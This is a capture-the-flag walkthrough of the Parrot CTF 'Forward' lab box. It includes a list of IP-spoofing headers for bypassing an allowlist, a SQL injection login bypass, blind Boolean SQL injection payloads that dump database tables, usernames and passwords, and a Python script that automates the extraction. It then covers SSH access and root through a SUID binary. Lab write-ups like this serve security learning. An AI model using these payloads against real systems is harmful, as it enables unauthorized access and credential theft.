Forward Parrot CTF writeup

Musyoka Ian
7 min readDec 9, 2024

--

Hello guys and welcome back to another walkthough this time we’ll be tackling forward from parrot CTF a nice easy box. We start off by running a nmap scan and discover that port 80 HTTP and port 22 SSH is open. On opening the website we get a standard Apache default webpage and by performing a directory brute forcing using ffuf we get a login page. Doing manual enumeration we discover that it’s vulnerable to SQL Injection. We exploit the blind Boolean based SQL injection manually (since it’s a good learning experience) and get some credentials which we use to login to the application via SSH. After SSH login linpeas was uploaded to the server and ran. We discover a SUID binary which when ran gives a root shell on the box. Without much say let’s jump in

After getting the IP Address a nmap scan was ran using the command

nmap --privileged -sC -sV -oA nmap/forward 10.14.3.242

Below are the results from the nmap scan. We can see that two ports are open HTTP and SSH

# Nmap 7.94SVN scan initiated Mon Dec  9 11:49:26 2024 as: /usr/lib/nmap/nmap --privileged -sC -sV -oA nmap/forward 10.14.3.242
Nmap scan report for 10.14.3.242
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0d:a5:e5:87:4b:56:38:29:25:4a:dd:1d:42:f9:92:15 (RSA)
| 256 e2:19:84:7d:51:be:f5:f8:8e:c1:e3:8f:f1:7f:8e:ab (ECDSA)
|_ 256 fd:14:bb:f0:50:f5:17:b0:84:f8:74:01:da:c8:4a:40 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 9 11:49:59 2024 -- 1 IP address (1 host up) scanned in 32.42 seconds

Beginning to attack SSH might not be the best move since it has very few vulnerabilities and also we need a valid username password combo. Our safe bet is to begin by enumerating HTTP. On opening port 80 we are greeted by a standard Apache default web page

I decided to run a directory bruteforce using the command

ffuf -u http://10.14.3.242/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.txt,.html

Looking at the result below we get a login.php file come back.

On trying to access it we get an eror message

You don't have permission to see this site from 10.14.0.211

Based on the error message it make me think that maybe it needed my IP Address to be whitelisted but there are simple tricks which can be used to bypass the check. It’s called re-writing the source IP Address and it’s explained in the following article

I tried some of the headers

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1
Connection: close, X-Forwarded-For

And X-Forwarded: 127.0.0.1 worked

I did set the header on burpsuite so that didn’t have to intercept each HTTP request and modify the headers. The feature i used in burpsuite is called match and replace

After that we can now access the login page

First i tried defailt credentails like admin:admin admin:password guest:guest all failed

There are various attacks you can try on login pages which include but not limited to:

  1. SQL Injection
  2. NoSQL Injection
  3. LDAP injection
  4. SAML Injection
  5. Timing attacks
  6. default credentials
  7. Directly access restricted pages
  8. etc

SQL injection worked with the basic payload

admin'-- -

But we were not magically redirected to a magic an authenticated webpage meaning the aim of the challenge might not be necessarily to bypass the login page but use the vulnerability to extract data from the database

This is where bulk of the work is because the SQL Injection attack i performing manually. I also ended up creating a python script to somehow ease the attack

a' or CASE WHEN (database() like '{password}{letter}%') THEN 1 ELSE 0 END-- -

Ignore the last character i have not handle exits on the application hence after finishing the bruteforce the script just loops over the last character our database name is ctfdb. We need to next extract the tables. The query i used was

a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema='ctfdb') like '{password}{letter}%') THEN 1 ELSE 0 END-- -

We have a table called users. Next i extracted the collums using the query

a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name='users') like '{password}{letter}%') THEN 1 ELSE 0 END-- -

The table users has the following columns

I’ll share the script below. Next we need to dump the collumns and the command i used was

a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,username,0x7c) FROM  users) like '%') THEN 1 ELSE 0 END-- -

Below is a screenshot of the usernames that were leaked

And to extract the passwords the below SQL Injection payload was used

a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,password,0x7c) FROM  users) like '%') THEN 1 ELSE 0 END-- -

Below is a screenshot of the passwords that were leaked

The script i created during the exploitation phase is

#!/usr/bin/env python3

import requests
import string
import sys


def brute():
payload = string.ascii_letters + string.digits + string.punctuation

password = ""
bad_chars = ["%", "_"]
counter = 0
while True:
for i in range(0, 50):
for letter in payload:
if(letter not in bad_chars):
header = {
"X-Forwarded-For" : "127.0.0.1"
}

sys.stdout.write(f"\radmin's password: {password}{letter}")
sys.stdout.flush()
#sqlpayload = f"a' or CASE WHEN (database() like '{password}{letter}%') THEN 1 ELSE 0 END-- -" extract database
#sqlpayload = f"a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema='ctfdb') like '{password}{letter}%') THEN 1 ELSE 0 END-- -" # working extract tables
#sqlpayload = f"a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name='users') like '{password}{letter}%') THEN 1 ELSE 0 END-- -" # working extract collumns
#sqlpayload = f"a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,password,0x7c) FROM users) like '{password}{letter}%') THEN 1 ELSE 0 END-- -" # working password column dump
sqlpayload = f"a' or CASE WHEN ((SELECT BINARY group_concat(0x7c,username,0x7c) FROM users) like '{password}{letter}%') THEN 1 ELSE 0 END-- -" # working username column dump

#print(sqlpayload)
data = {
"username":sqlpayload,
"password":"test"
}
output = requests.post("http://10.14.3.242/login.php", headers=header, data=data)
if "Welcome" in output.text:
password += letter
break
else:
pass
break



if __name__ == "__main__":
brute()

Putting one and two together we find that sqluser can login to the server using SSH. We use the credentials which we dumped using SQL Injection to login to the server

Next i uploaded linpeas and ran it to see if it could find any low hanging privilege escalation vectors

Linpeas discovers a SUID binary residing in the root of the file system called late

On executing the binary we get root access to the system

And the box is pretty much done. The best reading materials when you’re trying to understand SQL Injection is

I Hope you enjoyed the walkthough if so clap for me down below and follow me so that you won’t miss any upcoming walkthoughs

--

--

Musyoka Ian
Musyoka Ian

Written by Musyoka Ian

Penetration Tester/Analytical Chemist who Loves Cybersecurity. GitHub(https://github.com/musyoka101), ExploitDB(https://www.exploit-db.com/?author=10517)

No responses yet